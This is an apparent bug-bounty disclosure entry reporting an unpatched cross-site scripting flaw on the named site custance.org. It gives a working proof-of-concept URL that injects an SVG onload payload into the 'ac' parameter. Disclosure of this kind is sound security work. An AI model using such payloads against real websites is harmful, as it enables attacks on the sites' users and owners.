custance.org XSS vulnerability

Vulnerable URL: http://custance.org/order.php?ac=viewProduct%27%22%3E%3Csvg/onload=confirm/OPENBUGBOUNTY/%3E=23 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.12.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 3218809 VIP website...